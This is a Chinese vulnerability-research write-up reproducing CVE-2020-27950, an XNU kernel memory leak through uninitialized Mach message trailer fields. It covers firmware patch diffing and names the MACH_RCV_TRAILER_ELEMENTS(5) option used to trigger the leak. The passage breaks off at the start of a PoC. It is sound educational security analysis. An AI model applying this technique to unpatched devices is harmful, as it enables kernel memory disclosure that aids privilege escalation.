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iOS/Android Security

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CVE-2020-27950 trailer->msgh_ad信息泄露

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公告

Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6

Impact: A malicious application may be able to disclose kernel memory. Apple is aware of reports that an exploit for this issue exists in the wild.

Description: A memory initialization issue was addressed.

CVE-2020-27950: Google Project Zero

跟着这篇文章复现CVE-2020-27950内核信息泄露漏洞

  • https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak.html#

第一次通过bindiff补丁对比逆向分析iOS内核漏洞,踩了不少坑,如果各位师傅有更好的分析办法可以多指点

我们选用iPhone 6的两个固件版本:12.4.8和12.4.9

漏洞版本iOS 12.4.8 (16G201) for iPhone 6

  • http://updates-http.cdn-apple.com/2020SummerFCS/fullrestores/001-11131/71ECCF56-5998-4F84-9386-F91387BC68A5/iPhone_4.7_12.4.8_16G201_Restore.ipsw

补丁版本iOS 12.4.9 (16H5) for iPhone 6

  • http://updates-http.cdn-apple.com/2020FallFCS/fullrestores/001-73435/24D71947-C37D-4A9F-A958-340EDCA61AC4/iPhone_4.7_12.4.9_16H5_Restore.ipsw

这两个固件都是ZIP压缩文件

➜  ~ file *.ipsw
iPhone_4.7_12.4.8_16G201_Restore.ipsw: Zip archive data, at least v2.0 to extract
iPhone_4.7_12.4.9_16H5_Restore.ipsw:   Zip archive data, at least v2.0 to extract

解压缩出来,kernelcache.release.iphone7就是压缩后的内核二进制文件

➜  iPhone_4.7_12.4.8_16G201_Restore ls -al
total 6012560
drwxr-xr-x@  9 wnagzihxa1n  staff         288 Jan  2 19:41 .
drwxr-xr-x   7 wnagzihxa1n  staff         224 Jan  2 19:42 ..
-rw-r--r--@  1 wnagzihxa1n  staff  2874835794 Jan  9  2007 038-60223-004.dmg
-rw-r--r--@  1 wnagzihxa1n  staff    93846555 Jan  9  2007 038-60285-004.dmg
-rw-r--r--@  1 wnagzihxa1n  staff    91602971 Jan  9  2007 038-60305-004.dmg
-rw-r--r--@  1 wnagzihxa1n  staff      128367 Jan  9  2007 BuildManifest.plist
drwxr-xr-x@ 10 wnagzihxa1n  staff         320 Jan  9  2007 Firmware
-rw-r--r--@  1 wnagzihxa1n  staff         985 Jan  9  2007 Restore.plist
-rw-r--r--@  1 wnagzihxa1n  staff    14061377 Jan  9  2007 kernelcache.release.iphone7

iPhone 6使用的是LZSS压缩算法

➜  iPhone_4.7_12.4.8_16G201_Restore xxd -a kernelcache.release.iphone7 | head -n 10
00000000: 3083 d68f 3c16 0449 4d34 5016 046b 726e  0...<..IM4P..krn
00000010: 6c16 1e4b 6572 6e65 6c43 6163 6865 4275  l..KernelCacheBu
00000020: 696c 6465 722d 3134 3639 2e32 3630 2e31  ilder-1469.260.1
00000030: 3504 83d6 8f0b 636f 6d70 6c7a 7373 025a  5.....complzss.Z
00000040: b99c 01ae f208 00d5 cd8b 0000 0001 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
000001b0: 0000 0000 0000 ffcf faed fe0c 0000 01d5  ................
000001c0: 00f6 f002 f6f0 16f6 f058 115a f3f1 20f6  .........X.Z.. .
000001d0: f100 19f6 f028 faf0 3f5f 5f54 4558 5409  .....(..?__TEXT.

我们对其进行解压缩,使用的工具是lzssdec

  • http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp

下载编译

➜  lzssdec wget http://nah6.com/\~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
➜  lzssdec g++ lzssdec.cpp -o lzssdec

解压缩kernelcache文件,现在我们获得了一个存在漏洞的固件版本,同理获取打补丁后的固件版本

➜  iPhone_4.7_12.4.8_16G201_Restore ./lzssdec -o 0x1b6 < kernelcache.release.iphone7 > kernelcache.release.iphone7.bin

现在漏洞版本和补丁版本的kernelcache文件都准备好了

➜  iPhone_4.7_12.4.8_16G201_Restore file kernelcache.release.iphone7.bin 
kernelcache.release.iphone7.bin: Mach-O 64-bit executable arm64
➜  iPhone_4.7_12.4.9_16H5_Restore file kernelcache.release.iphone7.bin                                              
kernelcache.release.iphone7.bin: Mach-O 64-bit executable arm64

通过bindiff进行补丁对比,bindiff现在已经更新到了6

因为一些大家都懂得的原因,Windows的IDA目前有最新的7.5,而macOS只有7.0,如果是IDA 7.0,目前只能使用bindiff 5,如果是7.5,开心的使用bindiff 6吧

macOS版本有一个错误需要提前解决掉

➜  ~ sudo ln -s /Applications/BinDiff/BinDiff.app/Contents/MacOS/bin/bindiff /Applications/BinDiff/BinDiff.app/Contents/app/bindiff

为了使用更多的特性以及更准确的分析结果,我决定使用IDA 7.5

将两个文件载入IDA 7.5进行分析,生成idb文件,再通过bindiff分析这两个idb文件

IMAGE

关于符号恢复这部分的一波三折大家可以看这篇文章《关于恢复kernelcache符号的问题)》,记录了我这几天是如何踩坑的

首先比对kc_12.4.8kc_12.4.9,得到八个差异函数,再逐个反编译查看代码,发现有五个函数是添加了同一段代码

__TEXT_EXEC:__text:FFFFFFF00768E4C4 MOV             W1, #0x44 ; 'D'
__TEXT_EXEC:__text:FFFFFFF00768E4C8 MOV             X0, X20
__TEXT_EXEC:__text:FFFFFFF00768E4CC BL              sub_FFFFFFF00766D6C0
__TEXT_EXEC:__text:FFFFFFF00768E4D0 MOV             W23, #0

现在记录者五个跟漏洞有关的函数,再用kc_12.4.8和一个泄露符号的kc_symbols,分别搜索前面记录的五个函数,通过bindiff的方式恢复出了两个正确的符号

剩下三个函数其中一个具有字符串,搜索源码发现是ipc_kobject_server(),此时剩下两个函数找不到符号

kc_12.4.8_func_name kc_12.4.9_func_name Similarity bindiff_symbol true_symbol
sub_FFFFFFF00768E3AC sub_FFFFFFF00768E3BC 0.58 _ipc_kmsg_get_from_kernel ipc_kmsg_get_from_kernel
sub_FFFFFFF00768E164 sub_FFFFFFF00768E164 0.96 _ipc_kmsg_get ipc_kmsg_get
sub_FFFFFFF0076A7824 sub_FFFFFFF0076A7840 0.13 _mach_gss_accept_sec_context_v2  
sub_FFFFFFF0076BE438 sub_FFFFFFF0076BE470 0.11 _ipc_port_send_turnstile_prepare ipc_kobject_server
sub_FFFFFFF0076BF8C8 sub_FFFFFFF0076BF90C 0.28 _ptmx_get_ioctl  

同时搜索补丁代码中的sub_FFFFFFF00766D6C0,确定是函数bzero()

IMAGE

到这一步为止,我们勉强和作者拥有了同样的漏洞分析起点

我们开始分析XNU源码,先从三个有符号的函数任选一个进行分析,我选择了函数ipc_kmsg_get()

前两天刚好开源了最新的xnu-7195.50.7.100.1

  • https://opensource.apple.com/tarballs/xnu/xnu-7195.50.7.100.1.tar.gz

再来一个早一点的版本xnu-6153.141.1

  • https://opensource.apple.com/tarballs/xnu/xnu-6153.141.1.tar.gz

源码一对比,果然多了函数bzero()的调用

bzero(trailer, sizeof(*trailer));

左边是漏洞版本,右边是补丁版本

IMAGE

补丁操作的变量trailer类型是mach_msg_max_trailer_t,而mach_msg_max_trailer_t是由mach_msg_mac_trailer_t定义而来

typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
mach_msg_max_trailer_t          *trailer;

mach_msg_mac_trailer_t是一个结构体,在这个结构体定义附近发现了两个宏:MACH_MSG_TRAILER_MINIMUM_SIZEMAX_TRAILER_SIZE,分别代表最大的trailer和最小的trailer长度,由此我们可以找到结构体mach_msg_trailer_t的定义

#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
	mach_port_seqno_t             msgh_seqno;
	security_token_t              msgh_sender;
	audit_token_t                 msgh_audit;
	mach_port_context_t           msgh_context;
	mach_msg_filter_id            msgh_ad;
	msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

从结构体定义可以看到,最大的trailer拥有好几个字段,长度为0x44,而最小的trailer结构体只有两个字段,长度为0x08

我喜欢结合函数功能来讲一个漏洞,比如它是什么作用,在哪里调用到,用户态可控的数据有哪些

比如这个漏洞的补丁,什么是trailer?什么操作能调用到这段代码?

作为入门选手,想要从我说的角度去理解这个漏洞,就需要先来学习下基础知识

  1. Mach Message
  2. Mach Port

Mach是XNU内核的内核,它实现了操作系统最基本的功能:进程和线程抽象,虚拟内存管理,任务调度,进程间通信和消息传递机制

BSD实现于Mach之上,包括:网络协议栈,文件系统访问,设备访问等等

以上来自《深入解析Mac OS X & iOS操作系统》第二章

在Mach中有一个很基本的概念叫作Message,也就是消息,消息在两个Port之间传递,消息分为Simple MessageComplex Message,作为复杂消息,自然包含的字段数据要比简单消息要多

Port简单可以理解为一个内核的消息队列,Task创建一个Port后,只有该Task对这个Port有接收消息的Right,其它Task都可以在获取发送Right后对该Port发送消息

Mach Message的接收与发送依赖函数mach_msg()进行,这个函数在用户态与内核态均有实现

extern mach_msg_return_t mach_msg(
	    mach_msg_header_t       *msg,
	    mach_msg_option_t       option,
	    mach_msg_size_t         send_size,
	    mach_msg_size_t         rcv_size,
	    mach_port_name_t        rcv_name,
	    mach_msg_timeout_t      timeout,
	    mach_port_name_t        notify);

一条基本的消息由Message HeaderMessage Body构成,它可以选择带上消息尾,也就是上面提到的trailer

typedef struct{
	mach_msg_header_t       header;
	mach_msg_body_t         body;
} mach_msg_base_t;

typedef struct{
	mach_msg_bits_t       msgh_bits;
	mach_msg_size_t       msgh_size;
	mach_port_t           msgh_remote_port;
	mach_port_t           msgh_local_port;
	mach_port_name_t      msgh_voucher_port;
	mach_msg_id_t         msgh_id;
} mach_msg_header_t;

typedef struct{
	mach_msg_size_t msgh_descriptor_count;
} mach_msg_body_t;

以上来自《深入解析Mac OS X & iOS操作系统》第十章

有了一些基本概念之后,我们尝试从开发角度来使用Mach Message

  • https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html

创建Receiver Port并等待接收消息

首先我们要创建分配一个Port

mach_port_t port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);

获取往Port发消息的Right

mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

向系统注册该Port,这样其它进程都可以通过对应的名字搜索到该Port

bootstrap_register(bootstrap_port, "com.wnagzihxa1n.port", port);

通过函数mach_msg()阻塞线程等待接收消息

struct {
    mach_msg_header_t header;
    char some_text[10];
    int some_number;
    mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
    &message.header,  // 另一种写法 (mach_msg_header_t *) &message.
    MACH_RCV_MSG,     // 两种选项:发送和接收,此处是接收
    0,                // 发送消息的长度
    sizeof(message),  // 等待接收消息的长度
    port,             // 要获取消息的port
    MACH_MSG_TIMEOUT_NONE,
    MACH_PORT_NULL);

注意trailer在此处的使用,trailer可以附加在消息尾部作为额外的请求,trailer不计算入消息头的msgh_size,它有自己的长度字段msgh_trailer_size,此处使用的是最小的空trailer

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

获取Sender Port并向其发送消息

搜索并获取指定Port

mach_port_t port;
bootstrap_look_up(bootstrap_port, "com.wnagzihxa1n.port", &port);

构造消息

struct {
    mach_msg_header_t header;
    char some_text[10];
    int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 1337;

此处是发送消息,注意第二个参数

kr = mach_msg(
    &message.header,  // 另一种写法 (mach_msg_header_t *) &message.
    MACH_SEND_MSG,    // 两种选项:发送和接收,此处是发送
    sizeof(message),  // 发送消息的长度
    0,                // 等待接收消息的长度
    MACH_PORT_NULL,   // 要获取消息的port
    MACH_MSG_TIMEOUT_NONE,
    MACH_PORT_NULL);

到此完成Mach Message的接收与发送流程

如果有兴趣可以详读这两篇文章,第一篇的代码没有问题,但是第二篇的代码有点过时了,我没有运行起来

  • https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
  • https://flylib.com/books/en/3.126.1.107/1/

我们来看如何在这个过程中发挥trailer的作用,将mach_msg_trailer_t改为mach_msg_security_trailer_t,同时修改函数mach_masg()第二个参数

struct {
    mach_msg_header_t header;
    char some_text[10];
    int some_number;
    mach_msg_security_trailer_t trailer;
} message;

kr = mach_msg(
    &message.header,  // 另一种写法 (mach_msg_header_t *) &message.
    MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_SENDER),     // <-- 添加trailer请求位
    0,                // 发送消息的长度
    sizeof(message),  // 等待接收消息的长度
    port,             // 要获取消息的port
    MACH_MSG_TIMEOUT_NONE,
    MACH_PORT_NULL);

当收到消息,即可打印出发送消息者的信息

printf("Sender's user id is %u\nSender's user group is %u\n",
       message.trailer.msgh_sender.val[0],
       message.trailer.msgh_sender.val[1]);

// Sender's user id is 501
// Sender's user group is 20
// ➜  id
// uid=501(wnagzihxa1n) gid=20(staff) groups=20(staff)

从这个过程可以看出来,Port接收者可以在调用函数mach_msg()时额外从内核指定获取一些数据

以上代码来自《Mac OS X技术内幕》第九章

函数mach_msg()第二个参数有如下的标志位,这个参数在内核里用option来表示

/* The options that the kernel honors when passed from user space */
#define MACH_SEND_USER (
    MACH_SEND_MSG | 
    MACH_SEND_TIMEOUT | 
	MACH_SEND_NOTIFY | 
	MACH_SEND_OVERRIDE | 
	MACH_SEND_TRAILER | 
	MACH_SEND_NOIMPORTANCE | 
	MACH_SEND_SYNC_OVERRIDE | 
	MACH_SEND_PROPAGATE_QOS | 
	MACH_SEND_SYNC_BOOTSTRAP_CHECKIN | 
	MACH_MSG_STRICT_REPLY | 
	MACH_RCV_GUARDED_DESC)

#define MACH_RCV_USER (
    MACH_RCV_MSG | 
    MACH_RCV_TIMEOUT | 
	MACH_RCV_LARGE | 
	MACH_RCV_LARGE_IDENTITY | 
	MACH_RCV_VOUCHER | 
	MACH_RCV_TRAILER_MASK | 
	MACH_RCV_SYNC_WAIT |
	MACH_RCV_SYNC_PEEK  | 
	MACH_RCV_GUARDED_DESC | 
	MACH_MSG_STRICT_REPLY)

如果对于Mach Message发送与接收基本流程不理解的同学一定多看看上面这几段代码

以下假设大家对于Mach Message都有了一定的基本理解,并且删除了部分调试与失败返回处理代码

我们跟入函数mach_msg(),函数mach_msg()会调用函数mach_msg_trap(),函数mach_msg_trap()会调用函数mach_msg_overwrite_trap()

mach_msg_return_t
mach_msg_trap(
	struct mach_msg_overwrite_trap_args *args)
{
	kern_return_t kr;
	args->rcv_msg = (mach_vm_address_t)0;

	kr = mach_msg_overwrite_trap(args);
	return kr;
}

这里有两种我们需要分析的场景:MACH_RCV_MSGMACH_SEND_MSG

当函数mach_msg()第二个参数是MACH_SEND_MSG的时候,函数ipc_kmsg_get()用于分配缓冲区并从用户态拷贝数据到内核态

mach_msg_return_t
mach_msg_overwrite_trap(
	struct mach_msg_overwrite_trap_args *args)
{
	mach_vm_address_t       msg_addr = args->msg;
	mach_msg_option_t       option = args->option;  // mach_msg()第二个参数
    ...

	mach_msg_return_t  mr = MACH_MSG_SUCCESS; // 大吉大利
	vm_map_t map = current_map();

	/* Only accept options allowed by the user */
	option &= MACH_MSG_OPTION_USER;

	if (option & MACH_SEND_MSG) {
		ipc_space_t space = current_space();
		ipc_kmsg_t kmsg;    // 创建kmsg变量

        // 分配缓冲区并从用户态拷贝数据到内核态
		mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
	    // 转换端口,从用户态转换为内核态地址
		mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
		// 发送消息
		mr = ipc_kmsg_send(kmsg, option, msg_timeout);
	}

	if (option & MACH_RCV_MSG) {
		...
	}

	return MACH_MSG_SUCCESS;
}

函数ipc_kmsg_get()属于漏洞函数,ipc_kmsg_t就是内核态的消息存储结构体,拷贝过程看注释

mach_msg_return_t
ipc_kmsg_get(
	mach_vm_address_t       msg_addr,
	mach_msg_size_t size,
	ipc_kmsg_t              *kmsgp)
{
	mach_msg_size_t                 msg_and_trailer_size;
	ipc_kmsg_t                      kmsg;
	mach_msg_max_trailer_t          *trailer;
	mach_msg_legacy_base_t      legacy_base;
	mach_msg_size_t             len_copied;
	legacy_base.body.msgh_descriptor_count = 0;

	// 长度参数检查

    // mach_msg_legacy_base_t结构体长度等于mach_msg_base_t
    if (size == sizeof(mach_msg_legacy_header_t)) {
		len_copied = sizeof(mach_msg_legacy_header_t);
	} else {
		len_copied = sizeof(mach_msg_legacy_base_t);
	}
	
	// 从用户态拷贝消息到内核态
	if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {
		return MACH_SEND_INVALID_DATA;
	}

    // 获取内核态消息变量起始地址
	msg_addr += sizeof(legacy_base.header);

    // 直接加上最长的trailer长度,不知道接收者会定义何种类型的trailer,此处是做备用操作
    // typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
    // #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
	msg_and_trailer_size = size + MAX_TRAILER_SIZE;
	
	// 分配内核空间
	kmsg = ipc_kmsg_alloc(msg_and_trailer_size);

    // 初始化kmsg.ikm_header部分字段

    // 拷贝消息体,此处不包括trailer
	if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
		ipc_kmsg_free(kmsg);
		return MACH_SEND_INVALID_DATA;
	}

    // 通过size找到kmsg尾部trailer的起始地址,进行初始化
    // 注意它的msgh_trailer_size是最小的MACH_MSG_TRAILER_MINIMUM_SIZE
	trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
	trailer->msgh_sender = current_thread()->task->sec_token;
	trailer->msgh_audit = current_thread()->task->audit_token;
	trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
	trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
	trailer->msgh_labels.sender = 0;
	
	*kmsgp = kmsg;
	return MACH_MSG_SUCCESS;
}

函数ipc_kmsg_get()结尾赋值trailer的时候,使用的是mach_msg_max_trailer_t,给kmsg申请的长度也是按照mach_msg_max_trailer_t计算,但只初始化了三个字段,其它字段并未初始化,这是漏洞成因之一

trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_labels.sender = 0;

typedef struct{
	mach_msg_trailer_type_t       msgh_trailer_type;
	mach_msg_trailer_size_t       msgh_trailer_size;
	mach_port_seqno_t             msgh_seqno;
	security_token_t              msgh_sender;
	audit_token_t                 msgh_audit;
	mach_port_context_t           msgh_context;
	mach_msg_filter_id            msgh_ad;
	msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

当函数mach_msg()第二个参数是MACH_RCV_MSG的时候,会调用函数mach_msg_receive_results()读取消息

mach_msg_return_t
mach_msg_overwrite_trap(
	struct mach_msg_overwrite_trap_args *args)
{
    // 初始化基础变量
	mach_vm_address_t       msg_addr = args->msg;
	mach_msg_option_t       option = args->option;  // mach_msg()第二个参数
    ...

	mach_msg_return_t  mr = MACH_MSG_SUCCESS; // 大吉大利
	vm_map_t map = current_map();

	/* Only accept options allowed by the user */
	option &= MACH_MSG_OPTION_USER;

    // mach_msg():发送消息
	if (option & MACH_SEND_MSG) {
		...
	}

    // mach_msg():接收消息,我们关注这个分支
	if (option & MACH_RCV_MSG) {
		thread_t self = current_thread();
		ipc_space_t space = current_space();
		ipc_object_t object;
		ipc_mqueue_t mqueue;

		mr = ipc_mqueue_copyin(space, rcv_name, &mqueue, &object);
        
        // 设置接收消息的缓冲区地址
		if (rcv_msg_addr != (mach_vm_address_t)0) {
			self->ith_msg_addr = rcv_msg_addr;
		} else {
			self->ith_msg_addr = msg_addr;
		}
		
		// 将重要参数设置为线程全局结构体变量
		self->ith_object = object;
		self->ith_rsize = rcv_size;
		self->ith_msize = 0;
		self->ith_option = option;
		self->ith_receiver_name = MACH_PORT_NULL;
		self->ith_continuation = thread_syscall_return;
		self->ith_knote = ITH_KNOTE_NULL;

        // 从消息队列里获取消息
        // Purpose: Receive a message from a message queue.
		ipc_mqueue_receive(mqueue, option, rcv_size, msg_timeout, THREAD_ABORTSAFE);
		if ((option & MACH_RCV_TIMEOUT) && msg_timeout == 0) {
			thread_poll_yield(self);
		}
		
		// 读取消息
		return mach_msg_receive_results(NULL);
	}

	return MACH_MSG_SUCCESS;
}

函数mach_msg_receive_results()用于读取消息,如果消息读取成功,会调用函数ipc_kmsg_add_trailer()

mach_msg_return_t
mach_msg_receive_results(
	mach_msg_size_t *sizep)
{
    // 初始化基础变量
	thread_t          self = current_thread();  // 获取线程全局结构体变量self
	ipc_space_t       space = current_space();
	vm_map_t          map = current_map();

	mach_msg_trailer_size_t trailer_size;
	mach_msg_size_t   size = 0;

	/*
	 * unlink the special_reply_port before releasing reference to object.
	 * get the thread's turnstile, if the thread donated it's turnstile to the port
	 */
	mach_msg_receive_results_complete(object);
	io_release(object);

	/* auto redeem the voucher in the message */
	ipc_voucher_receive_postprocessing(kmsg, option);
    
    // 确定是哪种trailer结构体,计算trailer的长度
	trailer_size = ipc_kmsg_add_trailer(kmsg, space, option, self, seqno, FALSE,
	    kmsg->ikm_header->msgh_remote_port->ip_context);

	mr = ipc_kmsg_copyout(kmsg, space, map, MACH_MSG_BODY_NULL, option);

	if (mr != MACH_MSG_SUCCESS) {
		...
	} else {
		/* capture ksmg QoS values to the thread continuation state */
		self->ith_qos = kmsg->ikm_qos;
		self->ith_qos_override = kmsg->ikm_qos_override;
		
		// 把消息传递给用户态
		// 函数ipc_kmsg_add_trailer()计算的trailer_size在这里使用到
		mr = ipc_kmsg_put(kmsg, option, rcv_addr, rcv_size, trailer_size, &size);
	}

	if (sizep) {
		*sizep = size;
	}
	return mr;
}

函数ipc_kmsg_add_trailer()此时已经拿到整个kmsg,但是最后的trailer还是根据发送者的定义,此处需要结合接收者的请求去做动态修改msgh_trailer_size

mach_msg_trailer_size_t
ipc_kmsg_add_trailer(ipc_kmsg_t kmsg, ipc_space_t space __unused,
    mach_msg_option_t option, thread_t thread,
    mach_port_seqno_t seqno, boolean_t minimal_trailer,
    mach_vm_offset_t context)
{
    // 默认定义的是最大的trailer类型
	mach_msg_max_trailer_t *trailer;

#ifdef __arm64__
    // 创建栈变量tmp_trailer
	mach_msg_max_trailer_t tmp_trailer; /* This accommodates U64, and we'll munge */
	
	// kmsg的trailer数据起始地址
	void *real_trailer_out = (void*)(mach_msg_max_trailer_t *)
	    ((vm_offset_t)kmsg->ikm_header +
	    mach_round_msg(kmsg->ikm_header->msgh_size));

	// 拷贝kmsg的trailer到tmp_trailer
	// 此时先读取最大长度MAX_TRAILER_SIZE,跟发送消息逻辑对应
	bcopy(real_trailer_out, &tmp_trailer, MAX_TRAILER_SIZE);
	trailer = &tmp_trailer;
#else /* __arm64__ */
	(void)thread;
	trailer = (mach_msg_max_trailer_t *)
	    ((vm_offset_t)kmsg->ikm_header +
	    mach_round_msg(kmsg->ikm_header->msgh_size));
#endif /* __arm64__ */
    
    // 函数ipc_kmsg_get()定义:trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
    // 要是没有MACH_RCV_TRAILER_MASK就直接返回最小的trailer长度
    // 没有这个标志位的意思就是trailer类型为mach_msg_trailer_t
    // mach_msg_trailer_t结构体长度就是发送者默认设置的MACH_MSG_TRAILER_MINIMUM_SIZE
    // #define MACH_RCV_TRAILER_MASK        ((0xf << 24))
	if (!(option & MACH_RCV_TRAILER_MASK)) {
		return trailer->msgh_trailer_size;
	}

	trailer->msgh_seqno = seqno;
	trailer->msgh_context = context;
    
    // 使用宏REQUESTED_TRAILER_SIZE计算msgh_trailer_size
    // 这里我们可以理解一下逻辑:
    // 在发送端,先设置最大的trailer空间,长度字段msgh_trailer_size设置为最小
    // 消息到达接收端的时候,根据接收端的trailer设置,动态调整长度字段msgh_trailer_size
	trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);

	if (minimal_trailer) {
		goto done;
	}

    // 如果参数小于7,则不初始化
    // #define MACH_RCV_TRAILER_AV     7
	if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
		trailer->msgh_ad = 0;
	}

	/*
	 * The ipc_kmsg_t holds a reference to the label of a label
	 * handle, not the port. We must get a reference to the port
	 * and a send right to copyout to the receiver.
	 */

	if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
		trailer->msgh_labels.sender = 0;
	}

done:
#ifdef __arm64__
	ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */

	return trailer->msgh_trailer_size;
}

REQUESTED_TRAILER_SIZE_NATIVE定义如下,逐个判断,匹配到哪个参数就是对应结构体长度

#define REQUESTED_TRAILER_SIZE_NATIVE(y)                        \
	((mach_msg_trailer_size_t)                              \
	 ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_NULL) ?      \
	  sizeof(mach_msg_trailer_t) :                          \
	  ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SEQNO) ?    \
	   sizeof(mach_msg_seqno_trailer_t) :                   \
	  ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SENDER) ?   \
	   sizeof(mach_msg_security_trailer_t) :                \
	   ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AUDIT) ?   \
	    sizeof(mach_msg_audit_trailer_t) :                  \
	    ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_CTX) ?    \
	     sizeof(mach_msg_context_trailer_t) :               \
	     ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AV) ?    \
	      sizeof(mach_msg_mac_trailer_t) :                  \
	     sizeof(mach_msg_max_trailer_t))))))))

确实乍一看这里的计算方式没有问题,但我们来看一段宏定义,如果我们传入的是5或者6这种定义里没有的数据呢?

#define MACH_RCV_TRAILER_NULL   0   // mach_msg_trailer_t
#define MACH_RCV_TRAILER_SEQNO  1   // mach_msg_seqno_trailer_t
#define MACH_RCV_TRAILER_SENDER 2   // mach_msg_security_trailer_t
#define MACH_RCV_TRAILER_AUDIT  3   // mach_msg_audit_trailer_t
#define MACH_RCV_TRAILER_CTX    4   // mach_msg_context_trailer_t
#define MACH_RCV_TRAILER_AV     7
#define MACH_RCV_TRAILER_LABELS 8

当我们传入的是5,计算出的位数据为0b111000000000000000000000010MACH_RCV_TRAILER_MASK的位数据为0b1111000000000000000000000000,也就是说,5可以通过MACH_RCV_TRAILER_MASK标志位的判断

回到函数mach_msg_receive_results(),上面计算到的trailer_size会在计算完成后传入函数ipc_kmsg_put(),这个函数主要用于将消息从内核态拷贝到用户态

mr = ipc_kmsg_put(kmsg, option, rcv_addr, rcv_size, trailer_size, &size);

注意看拷贝操作的长度变量size

mach_msg_return_t
ipc_kmsg_put(
	ipc_kmsg_t              kmsg,
	mach_msg_option_t       option,
	mach_vm_address_t       rcv_addr,
	mach_msg_size_t         rcv_size,
	mach_msg_size_t         trailer_size,
	mach_msg_size_t         *sizep)
{
    // 整个长度就是消息长度加上trailer的长度
	mach_msg_size_t size = kmsg->ikm_header->msgh_size + trailer_size;
	mach_msg_return_t mr;

#if defined(__LP64__)
	if (current_task() != kernel_task) { /* don't if receiver expects fully-cooked in-kernel msg; */
		mach_msg_legacy_header_t *legacy_header =
		    (mach_msg_legacy_header_t *)((vm_offset_t)(kmsg->ikm_header) + LEGACY_HEADER_SIZE_DELTA);

		mach_msg_bits_t         bits            = kmsg->ikm_header->msgh_bits;
		mach_msg_size_t         msg_size        = kmsg->ikm_header->msgh_size;
		mach_port_name_t        remote_port     = CAST_MACH_PORT_TO_NAME(kmsg->ikm_header->msgh_remote_port);
		mach_port_name_t        local_port      = CAST_MACH_PORT_TO_NAME(kmsg->ikm_header->msgh_local_port);
		mach_port_name_t        voucher_port    = kmsg->ikm_header->msgh_voucher_port;
		mach_msg_id_t           id                      = kmsg->ikm_header->msgh_id;

		legacy_header->msgh_id                  = id;
		legacy_header->msgh_local_port = local_port;
		legacy_header->msgh_remote_port = remote_port;
		legacy_header->msgh_voucher_port = voucher_port;
		legacy_header->msgh_size                = msg_size - LEGACY_HEADER_SIZE_DELTA;
		legacy_header->msgh_bits                = bits;

		size -= LEGACY_HEADER_SIZE_DELTA;
		kmsg->ikm_header = (mach_msg_header_t *)legacy_header;
	}
#endif

	/* Re-Compute target address if using stack-style delivery */
	if (option & MACH_RCV_STACK) {
		rcv_addr += rcv_size - size;
	}

    // 拷贝消息
	if (copyoutmsg((const char *) kmsg->ikm_header, rcv_addr, size)) {
		mr = MACH_RCV_INVALID_DATA;
		size = 0;
	} else {
		mr = MACH_MSG_SUCCESS;
	}

    // 释放掉内核态的消息结构体
	ipc_kmsg_free(kmsg);

	if (sizep) {
		*sizep = size;
	}
	return mr;
}

总结一下,我们现在可以通过设置函数mach_msg()的第二个参数为MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5)来获取到最大的trailer->msgh_trailer_size,而且可以跳过trailer->msgh_ad的初始化

现在来看Poc代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <mach/mach.h>

#define MAGIC 0x416e7953 // 'SynA'

int main(int argc, char *argv[]) {
	mach_port_t port;
	int fd[2];

	mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
